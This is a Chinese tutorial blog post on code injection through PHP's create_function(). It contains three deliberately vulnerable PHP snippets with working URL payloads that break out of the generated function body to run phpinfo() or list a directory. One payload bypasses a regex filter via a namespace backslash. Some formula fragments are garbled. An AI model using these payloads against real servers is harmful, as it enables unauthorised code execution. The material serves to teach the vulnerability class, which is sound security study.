php 命名空间 create_function,PHP create_function()注入命令执行漏洞

0x00 create_function()介绍

create_function()创建匿名函数

string create_function ( string $args , string $code )

string

math?formula=args%20%E5%8F%98%E9%87%8F%E9%83%A8%E5%88%86%20stringcode 方法代码部分

举例:

create_function('$name','echo $name."A"')

类似于:

function name($name) {

echo $name."A";

}

0x01 漏洞利用

1

//02-8.php?id=2;}phpinfo();/*

$id=$_GET['id'];

$str2='echo '.$a.'test'.$id.";";

echo $str2;

echo "
";

echo "==============================";

echo "
";

$f1 = create_function('$a',$str2);

echo "
";

echo "==============================";

?>

payload:

http://localhost/libtest/02-8.php?id=2;}phpinfo();/*

原理:

id=2;}phpinfo();/*

执行函数为:

源代码:

function fT($a) {

echo "test".$a;

}

注入后代码:

function fT($a) {

echo "test";}

phpinfo();/*;//此处为注入代码。

}

2

//how to exp this code

$sort_by=$_GET['sort_by'];

$sorter='strnatcasecmp';

$databases=array('test','test');

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';

usort($databases, create_function('$a, $b', $sort_function));

?>

payload:

func.php?sort_by="]);}phpinfo();/*

3

error_reporting(0);

if(isset($_GET['action'])){

$action=$_GET['action'];

}

if(isset($_GET['action'])){

$arg=$_GET['arg'];

}

if(preg_match('/^[a-z0-9_]*$/isD',$action)){

show_sourse(_FILE_);

}else{

$action($arg,'');

}

?>

正则绕过,数字字母下划线都被禁止.

思路就是在开头或结尾插入字符绕过检测,涉及到php全局命名空间:在函数的头部加上 \就是调用全局的此函数,即\create_function()就是调用全局的create_function()函数,同时函数头部加上\可绕过正则过滤,\即%5c.

漏洞利用处

math?formula=action(arg,'');,也就是说如果利用create_function()函数漏洞,这里是参数为GET值,执行代码为空

payload:

ip/?action=%5ccreate_function&arg=){}var_dump(scandir("./"));/*

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值